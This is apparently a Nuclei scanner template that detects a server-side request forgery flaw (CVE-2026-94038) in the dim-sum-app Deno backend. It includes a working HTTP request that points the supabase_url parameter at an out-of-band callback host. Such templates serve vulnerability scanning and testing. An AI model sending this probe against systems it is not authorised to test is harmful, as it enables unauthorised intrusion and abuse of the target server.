id: CVE-2026-94038

info:
  name: "dim-sum-app Deno Backend - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    The dim-sum-app Deno backend textSearchV2Handler (routes /v2/text_search and /text_search_v2)
    builds a Supabase client from the attacker-supplied supabase_url query parameter and issues the
    search RPC against it, so a remote unauthenticated attacker can make the server send requests to
    an arbitrary host (SSRF).
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-94038&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=dim-sum-app&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2026-94038
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,dim-sum-app,ssrf,oast,vuln
http:
  - raw:
      - |
        GET /v2/text_search?keyword=test&supabase_url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"